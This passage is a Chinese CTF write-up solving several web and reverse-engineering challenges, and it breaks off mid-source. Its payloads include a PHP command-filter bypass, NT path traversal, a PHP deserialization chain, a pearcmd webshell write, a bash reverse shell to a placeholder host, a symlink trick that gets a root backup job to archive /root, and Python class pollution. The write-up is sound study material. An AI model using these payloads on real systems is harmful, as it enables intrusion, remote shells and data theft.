Web
Really_Ez_Rce
源码
1<?php
2header('Content-Type: text/html; charset=utf-8');
3highlight_file(__FILE__);
4error_reporting(0);
5
6if (isset($_REQUEST['Number'])) {
7 $inputNumber = $_REQUEST['Number'];
8
9 if (preg_match('/\d/', $inputNumber)) {
10 die("不行不行,不能这样");
11 }
12
13 if (intval($inputNumber)) {
14 echo "OK,接下来你知道该怎么做吗";
15
16 if (isset($_POST['cmd'])) {
17 $cmd = $_POST['cmd'];
18
19 if (!preg_match(
20 '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
21 $cmd
22 )) {
23 echo "你传的参数似乎挺正经的,放你过去吧<br>";
24 system($cmd);
25 } else {
26 echo "nonono,hacker!!!";
27 }
28 }
29 }
30}
Payload:
POST: Number[]=1&cmd=ec``ho Y2F0IC9mKg== | ba``se64 -d | bas``h
Watch
出题人写了一个基于 ntdll.dll
的 Windows NT 原生 API 调用实现的文件读取库
1package utils
2
3import (
4 "fmt"
5 "syscall"
6 "unsafe"
7)
8
9const (
10 STATUS_SUCCESS = 0x00000000
11 STATUS_NO_MORE_FILES = 0x80000006
12 STATUS_BUFFER_OVERFLOW = 0x80000005
13 FILE_READ_DATA = 0x0001
14 FILE_LIST_DIRECTORY = 0x0001
15 FILE_READ_ATTRIBUTES = 0x0080
16 SYNCHRONIZE = 0x00100000
17 FILE_SHARE_READ = 0x00000001
18 FILE_SHARE_WRITE = 0x00000002
19 FILE_SHARE_DELETE = 0x00000004
20 FILE_ATTRIBUTE_DIRECTORY = 0x00000010
21 FILE_DIRECTORY_FILE = 0x00000001
22 FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020
23 OBJ_CASE_INSENSITIVE = 0x00000040
24 FileDirectoryInformation = 1
25 FileBasicInformation = 4
26)
27
28type UNICODE_STRING struct {
29 Length uint16
30 MaximumLength uint16
31 Buffer *uint16
32}
33
34type OBJECT_ATTRIBUTES struct {
35 Length uint32
36 RootDirectory syscall.Handle
37 ObjectName *UNICODE_STRING
38 Attributes uint32
39 SecurityDescriptor uintptr
40 SecurityQualityOfService uintptr
41}
42
43type IO_STATUS_BLOCK struct {
44 Status uintptr
45 Information uintptr
46}
47
48type FILE_DIRECTORY_INFORMATION struct {
49 NextEntryOffset uint32
50 FileIndex uint32
51 CreationTime int64
52 LastAccessTime int64
53 LastWriteTime int64
54 ChangeTime int64
55 EndOfFile int64
56 AllocationSize int64
57 FileAttributes uint32
58 FileNameLength uint32
59}
60
61type FILE_BASIC_INFORMATION struct {
62 CreationTime int64
63 LastAccessTime int64
64 LastWriteTime int64
65 ChangeTime int64
66 FileAttributes uint32
67}
68
69var (
70 dll = syscall.NewLazyDLL("ntdll.dll")
71 procOpenFile = dll.NewProc("NtOpenFile")
72 procClose = dll.NewProc("NtClose")
73 procQueryDirectoryFile = dll.NewProc("NtQueryDirectoryFile")
74 procReadFile = dll.NewProc("NtReadFile")
75 procQueryInformationFile = dll.NewProc("NtQueryInformationFile")
76 procRtlInitUnicodeString = dll.NewProc("RtlInitUnicodeString")
77)
78
79func rtlInitUnicodeString(destinationString *UNICODE_STRING, sourceString *uint16) {
80 procRtlInitUnicodeString.Call(
81 uintptr(unsafe.Pointer(destinationString)),
82 uintptr(unsafe.Pointer(sourceString)),
83 )
84}
85
86func openFile(fileHandle *syscall.Handle, desiredAccess uint32, objectAttributes *OBJECT_ATTRIBUTES, ioStatusBlock *IO_STATUS_BLOCK, shareAccess uint32, openOptions uint32) uint32 {
87 ret, _, _ := procOpenFile.Call(
88 uintptr(unsafe.Pointer(fileHandle)),
89 uintptr(desiredAccess),
90 uintptr(unsafe.Pointer(objectAttributes)),
91 uintptr(unsafe.Pointer(ioStatusBlock)),
92 uintptr(shareAccess),
93 uintptr(openOptions),
94 )
95 return uint32(ret)
96}
97
98func HandleClose(handle syscall.Handle) uint32 {
99 ret, _, _ := procClose.Call(uintptr(handle))
100 return uint32(ret)
101}
102
103func queryDirectoryFile(fileHandle syscall.Handle, event syscall.Handle, apcRoutine uintptr, apcContext uintptr, ioStatusBlock *IO_STATUS_BLOCK, fileInformation uintptr, length uint32, fileInformationClass uint32, returnSingleEntry bool, fileName *UNICODE_STRING, restartScan bool) uint32 {
104 var singleEntry uintptr = 0
105 if returnSingleEntry {
106 singleEntry = 1
107 }
108 var restart uintptr = 0
109 if restartScan {
110 restart = 1
111 }
112
113 ret, _, _ := procQueryDirectoryFile.Call(
114 uintptr(fileHandle),
115 uintptr(event),
116 apcRoutine,
117 apcContext,
118 uintptr(unsafe.Pointer(ioStatusBlock)),
119 fileInformation,
120 uintptr(length),
121 uintptr(fileInformationClass),
122 singleEntry,
123 uintptr(unsafe.Pointer(fileName)),
124 restart,
125 )
126 return uint32(ret)
127}
128
129func readFile(fileHandle syscall.Handle, event syscall.Handle, apcRoutine uintptr, apcContext uintptr, ioStatusBlock *IO_STATUS_BLOCK, buffer uintptr, length uint32, byteOffset *int64, key uintptr) uint32 {
130 ret, _, _ := procReadFile.Call(
131 uintptr(fileHandle),
132 uintptr(event),
133 apcRoutine,
134 apcContext,
135 uintptr(unsafe.Pointer(ioStatusBlock)),
136 buffer,
137 uintptr(length),
138 uintptr(unsafe.Pointer(byteOffset)),
139 key,
140 )
141 return uint32(ret)
142}
143
144func queryInformationFile(fileHandle syscall.Handle, ioStatusBlock *IO_STATUS_BLOCK, fileInformation uintptr, length uint32, fileInformationClass uint32) uint32 {
145 ret, _, _ := procQueryInformationFile.Call(
146 uintptr(fileHandle),
147 uintptr(unsafe.Pointer(ioStatusBlock)),
148 fileInformation,
149 uintptr(length),
150 uintptr(fileInformationClass),
151 )
152 return uint32(ret)
153}
154
155func stringToUTF16Ptr(s string) *uint16 {
156 utf16, err := syscall.UTF16FromString(s)
157 if err != nil {
158 return nil
159 }
160 return &utf16[0]
161}
162
163func utf16PtrToString(ptr *uint16, length uint32) string {
164 if ptr == nil || length == 0 {
165 return ""
166 }
167
168 slice := (*[256]uint16)(unsafe.Pointer(ptr))[:length/2]
169 return syscall.UTF16ToString(slice)
170}
171
172func OpenPath(path string) (syscall.Handle, bool, error) {
173 var objectNameDir UNICODE_STRING
174 var handle syscall.Handle
175 var iosb IO_STATUS_BLOCK
176 pathDirPtr := stringToUTF16Ptr(path + `\`)
177 rtlInitUnicodeString(&objectNameDir, pathDirPtr)
178
179 objAttrDir := OBJECT_ATTRIBUTES{
180 Length: uint32(unsafe.Sizeof(OBJECT_ATTRIBUTES{})),
181 ObjectName: &objectNameDir,
182 Attributes: OBJ_CASE_INSENSITIVE,
183 }
184
185 status := openFile(
186 &handle,
187 FILE_LIST_DIRECTORY|FILE_READ_ATTRIBUTES|SYNCHRONIZE,
188 &objAttrDir,
189 &iosb,
190 FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
191 FILE_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT,
192 )
193
194 if status == STATUS_SUCCESS {
195 return handle, true, nil
196 }
197
198 var objectNameFile UNICODE_STRING
199 pathFilePtr := stringToUTF16Ptr(path)
200 rtlInitUnicodeString(&objectNameFile, pathFilePtr)
201
202 objAttrFile := OBJECT_ATTRIBUTES{
203 Length: uint32(unsafe.Sizeof(OBJECT_ATTRIBUTES{})),
204 ObjectName: &objectNameFile,
205 Attributes: OBJ_CASE_INSENSITIVE,
206 }
207
208 status = openFile(
209 &handle,
210 FILE_READ_DATA|FILE_READ_ATTRIBUTES|SYNCHRONIZE,
211 &objAttrFile,
212 &iosb,
213 FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,
214 FILE_SYNCHRONOUS_IO_NONALERT,
215 )
216
217 if status == STATUS_SUCCESS {
218 return handle, false, nil
219 }
220
221 return 0, false, fmt.Errorf("cant open %s", path)
222}
223
224func ListDirectory(handle syscall.Handle) (string, error) {
225 const bufferSize = 65536
226 buffer := make([]byte, bufferSize)
227
228 var iosb IO_STATUS_BLOCK
229 var listString string
230 listString = "Directory\n==================\n"
231
232 for {
233 status := queryDirectoryFile(
234 handle,
235 0,
236 0,
237 0,
238 &iosb,
239 uintptr(unsafe.Pointer(&buffer[0])),
240 bufferSize,
241 FileDirectoryInformation,
242 false,
243 nil,
244 false,
245 )
246
247 if status == STATUS_NO_MORE_FILES {
248 break
249 }
250
251 if status != STATUS_SUCCESS && status != STATUS_BUFFER_OVERFLOW {
252 return "", fmt.Errorf("query directory failed")
253 }
254
255 offset := uint32(0)
256 for offset < uint32(iosb.Information) {
257 dirInfo := (*FILE_DIRECTORY_INFORMATION)(unsafe.Pointer(&buffer[offset]))
258
259 fileNamePtr := (*uint16)(unsafe.Pointer(uintptr(unsafe.Pointer(dirInfo)) + unsafe.Sizeof(*dirInfo)))
260 fileName := utf16PtrToString(fileNamePtr, dirInfo.FileNameLength)
261
262 fileType := "file"
263 if dirInfo.FileAttributes&FILE_ATTRIBUTE_DIRECTORY != 0 {
264 fileType = "dir"
265 }
266
267 listString += fmt.Sprintf("[%s] %s (size: %d bytes)\n", fileType, fileName, dirInfo.EndOfFile)
268
269 if dirInfo.NextEntryOffset == 0 {
270 break
271 }
272 offset += dirInfo.NextEntryOffset
273 }
274
275 if status != STATUS_BUFFER_OVERFLOW {
276 break
277 }
278 }
279 return listString, nil
280}
281
282func ReadFile(handle syscall.Handle) (string, error) {
283 var basicInfo FILE_BASIC_INFORMATION
284 var iosb IO_STATUS_BLOCK
285
286 status := queryInformationFile(
287 handle,
288 &iosb,
289 uintptr(unsafe.Pointer(&basicInfo)),
290 uint32(unsafe.Sizeof(basicInfo)),
291 FileBasicInformation,
292 )
293
294 if status != STATUS_SUCCESS {
295 return "", fmt.Errorf("get file information failed")
296 }
297
298 var fileString string
299 fileString = "File\n==================\n"
300
301 const maxReadSize = 1024 * 1024
302 buffer := make([]byte, maxReadSize)
303 var offset int64 = 0
304
305 status = readFile(
306 handle,
307 0,
308 0,
309 0,
310 &iosb,
311 uintptr(unsafe.Pointer(&buffer[0])),
312 maxReadSize,
313 &offset,
314 0,
315 )
316
317 if status == STATUS_SUCCESS {
318 bytesRead := iosb.Information
319 if bytesRead > 0 {
320 content := string(buffer[:bytesRead])
321 fileString += fmt.Sprintf("%s\n", content)
322 if bytesRead == maxReadSize {
323 fileString += fmt.Sprintf("\n[Tip: only part of the file is read, file size may be larger than 1MB]\n")
324 }
325 } else {
326 fileString += fmt.Sprintf("[file is empty]")
327 }
328 } else {
329 return "", fmt.Errorf("read file failed")
330 }
331
332 return fileString, nil
333}
我们看handle.go
在这里会将我们传入的地址通过filepath.Join与\SystemRoot\
进行拼接后传入OpenPath
想要使用NtOpenFile读文件我们需要使用符合格式的nt路径,而不是我们平常使用的win32路径。
如题目中的\SystemRoot\
就是指向C:\Windows\的符号链接
可以参考:https://kiwids.me/posts/NT-Filesystem-Internals-Study-Notes/#nt-namespace-native-object-paths
所以我们如果想要读D盘的话,就有两种方法,第一种就是通过盘符去读
\??\D:\
第二种是通过卷的设备路径去读
\Device\HarddiskVolume3\ //HarddiskVolume2是C盘
回到这道题,由于会在传入的路径前面进行拼接,所以我们要在传入的path前面加入..
Payload
?path=..\??\D:\key.txt
或者
?path=..\Device\HarddiskVolume3\key.txt
题外话
事实上第一种方法是有局限性的,我们可以看到这道题的go的版本为1.20,filepath.Join不会对??\D:\进行过滤
而在最新的版本中会将??\转换为\.??\,导致方法一失效,如图:
这是GO1.23.6版的filepath.Join
这是GO1.20版本的filepath.Join
而第二种方法则不受版本限制,在高版本中依旧适用
ez_php
题目
1<?php
2error_reporting(0);
3class GOGOGO{
4 public $dengchao;
5 function __destruct(){
6 echo "Go Go Go~ 出发喽!" . $this->dengchao;
7 }
8}
9class DouBao{
10 public $dao;
11 public $Dagongren;
12 public $Bagongren;
13 function __toString(){
14 if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
15 call_user_func_array($this->dao, ['诗人我吃!']);
16 }
17 }
18}
19class HeiCaFei{
20 public $HongCaFei;
21 function __call($name, $arguments){
22 call_user_func_array($this->HongCaFei, [0 => $name]);
23 }
24}
25
26if (isset($_POST['data'])) {
27 $temp = unserialize($_POST['data']);
28 throw new Exception('What do you want to do?');
29} else {
30 highlight_file(__FILE__);
31}
32?>
POC
1<?php
2
3class GOGOGO {
4 public $dengchao;
5}
6
7class DouBao {
8 public $dao;
9 public $Dagongren;
10 public $Bagongren;
11}
12
13class HeiCaFei {
14 public $HongCaFei;
15}
16
17$exp = new GOGOGO();
18$exp -> dengchao = new Doubao();
19$hcf = new HeiCaFei();
20$hcf->HongCaFei = "system";
21$exp -> dengchao -> dao = array($hcf,"cat /ofl1111111111ove4g");
22$a=new Error("xrntkk",1);$b=new Error("xrntkk",2);
23$exp -> dengchao -> Dagongren = $a;
24$exp -> dengchao -> Bagongren = $b;
25
26
27echo urlencode(serialize($exp));
得到
O%3A6%3A%22GOGOGO%22%3A1%3A%7Bs%3A8%3A%22dengchao%22%3BO%3A6%3A%22DouBao%22%3A3%3A%7Bs%3A3%3A%22dao%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A8%3A%22HeiCaFei%22%3A1%3A%7Bs%3A9%3A%22HongCaFei%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A23%3A%22cat+%2Fofl1111111111ove4g%22%3B%7Ds%3A9%3A%22Dagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A6%3A%22xrntkk%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A42%3A%22D%3A%5Cphpstudy_pro%5CWWW%5CtempCodeRunnerFile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A22%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A9%3A%22Bagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A6%3A%22xrntkk%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A42%3A%22D%3A%5Cphpstudy_pro%5CWWW%5CtempCodeRunnerFile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A22%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D%7D
还需要绕过
throw new Exception('What do you want to do?');
在最后一个括号前面加上;1
即可
最终payload
O%3A6%3A%22GOGOGO%22%3A1%3A%7Bs%3A8%3A%22dengchao%22%3BO%3A6%3A%22DouBao%22%3A3%3A%7Bs%3A3%3A%22dao%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A8%3A%22HeiCaFei%22%3A1%3A%7Bs%3A9%3A%22HongCaFei%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A23%3A%22cat+%2Fofl1111111111ove4g%22%3B%7Ds%3A9%3A%22Dagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A6%3A%22xrntkk%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A42%3A%22D%3A%5Cphpstudy_pro%5CWWW%5CtempCodeRunnerFile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A22%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A9%3A%22Bagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A6%3A%22xrntkk%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A42%3A%22D%3A%5Cphpstudy_pro%5CWWW%5CtempCodeRunnerFile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A22%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D;1%7D
DeceptiFlag
先对个脑洞
1POST /?qaq=xiyangyang HTTP/1.1
2Host: 27.25.151.198:38605
3Upgrade-Insecure-Requests: 1
4Cache-Control: max-age=0
5Accept-Encoding: gzip, deflate
6Referer: http://27.25.151.198:38605/
7Cookie: PHPSESSID=d75f67cbc118fd9eb75b84c0c91cd7fd; pahint=L3Zhci9mbGFnL2ZsYWcudHh0
8Origin: http://27.25.151.198:38605
9Accept-Language: zh-CN,zh;q=0.9
10Content-Type: application/x-www-form-urlencoded
11User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
12Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
13Content-Length: 28
14
15qaq_visible=xiyangyang&Lang=huitailang
接着看到可以文件包含,但是会在后面拼接上.php
伪协议直接读
1POST /tips.php?file=php://filter/resource=/var/flag/flag.txt HTTP/1.1
2Host: 27.25.151.198:38605
3Upgrade-Insecure-Requests: 1
4Cache-Control: max-age=0
5Accept-Encoding: gzip, deflate
6Referer: http://27.25.151.198:38605/
7Cookie: PHPSESSID=d75f67cbc118fd9eb75b84c0c91cd7fd; pahint=L3Zhci9mbGFnL2ZsYWcudHh0
8Origin: http://27.25.151.198:38605
9Accept-Language: zh-CN,zh;q=0.9
10Content-Type: application/x-www-form-urlencoded
11User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
12Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
13Content-Length: 28
14
15qaq_visible=xiyangyang&Lang=huitailang
这题也可以打pearcmd,狠狠上马
1POST /tips.php?+config-create+/&file=file:///usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+1.php HTTP/1.1
2Host: 27.25.151.198:49096
3Content-Type: application/x-www-form-urlencoded
4Accept-Encoding: gzip, deflate
5Cookie: PHPSESSID=354fc88851eeee8113a2f34aa8b997d1; pahint=L3Zhci9mbGFnL2ZsYWcudHh0
6Accept-Language: zh-CN,zh;q=0.9
7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8Referer: http://27.25.151.198:49096/
9Origin: http://27.25.151.198:49096
10Cache-Control: max-age=0
11Upgrade-Insecure-Requests: 1
12User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
13Content-Length: 28
14
15qaq_visible=xiyangyang&Lang=huitailang
[WEB+RE]Just Ping Part 1
GO的逆向
ida打开可以看到两个路由/api/ping和/api/testDevelopApi
跟进off_72CBA8函数后跟进moran_goweb1_handle_DevelopmentHandler
看不懂,直接扔给gpt分析
/api/testDevelopApi路由代码逻辑大致如下(不会逆向,大概看看
1func DevelopmentHandler(w http.ResponseWriter, r *http.Request) {
2 query := r.URL.Query()
3 cmdStr := query.Get("cmd")
4 if cmdStr == "" {
5 http.Error(w, "cmd cant be null", 400)
6 return
7 }
8
9 // 从对象池取命令字符串对象
10 poolObj := commandStringPool.Get()
11
12 // 用 shlex 解析命令字符串
13 args, err := shlex.Split(cmdStr)
14 if err != nil {
15 // 解析失败时,显式回收
16 commandStringPool.Put(poolObj)
17 http.Error(w, "server error", 400)
18 return
19 }
20
21 // 执行命令
22 output, err := exec.Command(args[0], args[1:]...).CombinedOutput()
23 if err != nil {
24 // 执行失败时,显式回收
25 commandStringPool.Put(poolObj)
26 http.Error(w, "command error", 400)
27 return
28 }
29
30 // 写响应
31 _, err = w.Write([]byte("Command executed successfully.\n"))
32 if err != nil {
33 // 响应写失败时,显式回收
34 commandStringPool.Put(poolObj)
35 http.Error(w, "write error", 500)
36 return
37 }
38
39 // 命令执行完毕且响应写完,显式回收对象池资源
40 commandStringPool.Put(poolObj)
41}
shlex.Split库会将传入的命令按照空格分割成数组,并传入exec.Command,但是没有回显
/api/ping路由实在看不懂了,就没看
直接看web端,无疑中发现
我测这怎么回事
经过测试可以发现,当在/api/testDevelopApi传入时
echo 555 555 555
在/api/ping中传入ip会出现如下的情况
大概可以理解为/api/ping和/api/testDevelopApi共用一个对象池Pool,我们在/api/testDevelopApi中执行命令后在/api/ping处发生了资源的复用
跟进/api/ping的回显,我们可以猜到这里执行的命令应该是
ping -c 4 127.0.0.1
猜测正常情况下/api/ping会从连接池中获取模板ping -c 4 ip
并将最后一个参数替换为传入的IP,当我们在/api/testDevelopApi传入echo 555 555 555
时,被/api/ping获取了,并拼接为echo 555 555 127.0.0.1
执行。
所以我们可以构造出Payload:
/api/testDevelopApi?cmd=cat /flag 555
拿到flag
[WEB+RE]Just Ping Part 2
这题跟上一题的web部分完全相同,但是为了方便,这题我直接弹shell了
Payload:
bash+-c+echo%24%7bIFS%7d%22YmFzaCAtaSA%2bJiAvZGV2L3RjcC9pcC9wb3J0IDA%2bJjE%3d%22%24%7bIFS%7d%7c%24%7bIFS%7dbase64%24%7bIFS%7d-d%24%7bIFS%7d%7c%24%7bIFS%7dbash+123
题目中给了个附件
1#!/bin/bash
2
3if [ ! -f "backup" ]; then
4 exit 1
5fi
6
7ACTUAL_MD5=$(md5sum "backup" | cut -d' ' -f1)
8
9if [ "$ACTUAL_MD5" = "18ed919aada0f7adca8802acf7b8a4d5" ]; then
10 backup
11 exit 0
12else
13 exit 1
14fi
里面提到了一个backup文件
可以找到文件的路径
/usr/local/etc/backup
web目录没有读写权限,我们可以base64编码后提取backup
对backup进行逆向分析
Strings爆搜能找到两个路径,我们先来看backupList
这里有一个/root/healthy
接着看/var/backups/backup.zip,我们依旧base64后提取出来
发现这里面应该就是刚刚backupList里面/root/healthy文件夹
也就是说backup会定时把backupList中的目录备份到/var/backups/目录
我们现在目标就是要想办法利用backup将/root目录打包,这样我们就可以拿到flag
但是由于我们没有backupList的读写权限,我们需要使用一些骚操作
Payload
1enjoy@hnctf-3b9e2ebaebdc4eb9:/usr/local/etc$ mkdir bak
2mkdir bak
3
4enjoy@hnctf-3b9e2ebaebdc4eb9:/usr/local/etc$ mv backup bak/123
5mv backup bak/123
6
7enjoy@hnctf-3b9e2ebaebdc4eb9:/usr/local/etc$ ln -s bak/123 backup
8ln -s bak/123 backup
9//利用软连接来保证backup能被正常检验和执行
10
11enjoy@hnctf-3b9e2ebaebdc4eb9:/usr/local/etc$ echo "/root">backupList
12echo "/root">backupList
13//backupList需要在backup的上级目录
提取backup.zip
拿到flag
奇怪的咖啡店
题目给出了部分源码
1from flask import Flask, session, request, render_template_string, render_template
2import json
3import os
4
5app = Flask(__name__)
6app.config['SECRET_KEY'] = os.urandom(32).hex()
7
8@app.route('/', methods=['GET', 'POST'])
9def store():
10 if not session.get('name'):
11 session['name'] = ''.join("customer")
12 session['permission'] = 0
13
14 error_message = ''
15 if request.method == 'POST':
16 error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'
17
18 products = [
19 {"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
20 {"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
21 {"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
22 {"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
23 {"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
24 ]
25
26 return render_template('index.html',
27 error_message=error_message,
28 session=session,
29 products=products)
30
31
32def add():
33 pass
34
35
36@app.route('/add', methods=['POST', 'GET'])
37def adddd():
38 if request.method == 'GET':
39 return '''
40 <html>
41 <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
42 <h2>添加商品</h2>
43 <form id="productForm">
44 <p>商品名称: <input type="text" id="name"></p>
45 <p>商品价格: <input type="text" id="price"></p>
46 <button type="button" onclick="submitForm()">添加商品</button>
47 </form>
48 <script>
49 function submitForm() {
50 const nameInput = document.getElementById('name').value;
51 const priceInput = document.getElementById('price').value;
52
53 fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
54 method: 'POST',
55 headers: {
56 'Content-Type': 'application/json',
57 },
58 body: nameInput
59 })
60 .then(response => response.text())
61 .then(data => alert(data))
62 .catch(error => console.error('错误:', error));
63 }
64 </script>
65 </body>
66 </html>
67 '''
68 elif request.method == 'POST':
69 if request.data:
70 try:
71 raw_data = request.data.decode('utf-8')
72 if check(raw_data):
73 #检测添加的商品是否合法
74 return "该商品违规,无法上传"
75 json_data = json.loads(raw_data)
76
77 if not isinstance(json_data, dict):
78 return "添加失败1"
79
80 merge(json_data, add)
81 return "你无法添加商品哦"
82
83 except (UnicodeDecodeError, json.JSONDecodeError):
84 return "添加失败2"
85 except TypeError as e:
86 return f"添加失败3"
87 except Exception as e:
88 return f"添加失败4"
89 return "添加失败5"
90
91
92
93def merge(src, dst):
94 for k, v in src.items():
95 if hasattr(dst, '__getitem__'):
96 if dst.get(k) and type(v) == dict:
97 merge(v, dst.get(k))
98 else:
99 dst[k] = v
100 elif hasattr(dst, k) and type(v) == dict:
101 merge(v, getattr(dst, k))
102 else:
103 setattr(dst, k, v)
104
105
106
107app.run(host="0.0.0.0",port=5014)
/add路由存在原型链污染
远端应该是有waf的,但是给出的源码没给出来
if check(raw_data):
#检测添加的商品是否合法
waf比较简单,直接unicode编码绕过即可
先污染静态目录拿一手远端源码
1POST /add HTTP/1.1
2Host: 27.25.151.198:30362
3Sec-Fetch-Dest: empty
4Sec-Fetch-Mode: cors
5Accept-Language: zh-CN,zh;q=0.9
6sec-ch-ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
7Referer: http://27.25.151.198:30362/add
8Accept-Encoding: gzip, deflate, br, zstd
9sec-ch-ua-platform: "Windows"
10Content-Type: application/json
11Origin: http://27.25.151.198:30362
12Accept: */*
13Sec-Fetch-Site: same-origin
14User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
15sec-ch-ua-mobile: ?0
16Content-Length: 3
17
18{"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F":{"\u0061\u0070\u0070":{"\u0073\u0074\u0061\u0074\u0069\u0063\u005F\u0066\u006F\u006C\u0064\u0065\u0072":"\u002F"}}}
访问/static/app.py即可拿到完整源码
1from flask import Flask, session, request, render_template_string, render_template
2import json
3import os
4
5app = Flask(__name__)
6app.config['SECRET_KEY'] = os.urandom(32).hex()
7
8@app.route('/', methods=['GET', 'POST'])
9def store():
10 if not session.get('name'):
11 session['name'] = ''.join("customer")
12 session['permission'] = 0
13
14 error_message = ''
15 if request.method == 'POST':
16 error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'
17
18 products = [
19 {"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
20 {"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
21 {"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
22 {"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
23 {"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
24 ]
25
26 return render_template('index.html',
27 error_message=error_message,
28 session=session,
29 products=products)
30
31
32def add():
33 pass
34
35
36@app.route('/add', methods=['POST', 'GET'])
37def adddd():
38 if request.method == 'GET':
39 return '''
40 <html>
41 <body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
42 <h2>添加商品</h2>
43 <form id="productForm">
44 <p>商品名称: <input type="text" id="name"></p>
45 <p>商品价格: <input type="text" id="price"></p>
46 <button type="button" onclick="submitForm()">添加商品</button>
47 </form>
48 <script>
49 function submitForm() {
50 const nameInput = document.getElementById('name').value;
51 const priceInput = document.getElementById('price').value;
52
53 fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
54 method: 'POST',
55 headers: {
56 'Content-Type': 'application/json',
57 },
58 body: nameInput
59 })
60 .then(response => response.text())
61 .then(data => alert(data))
62 .catch(error => console.error('错误:', error));
63 }
64 </script>
65 </body>
66 </html>
67 '''
68 elif request.method == 'POST':
69 if request.data:
70 try:
71 raw_data = request.data.decode('utf-8')
72 if check(raw_data):
73 #检测添加的商品是否合法
74 return "该商品违规,无法上传"
75 json_data = json.loads(raw_data)
76
77 if not isinstance(json_data, dict):
78 return "添加失败1"
79
80 merge(json_data, add)
81 return "你无法添加商品哦"
82
83 except (UnicodeDecodeError, json.JSONDecodeError):
84 return "添加失败2"
85 except TypeError as e:
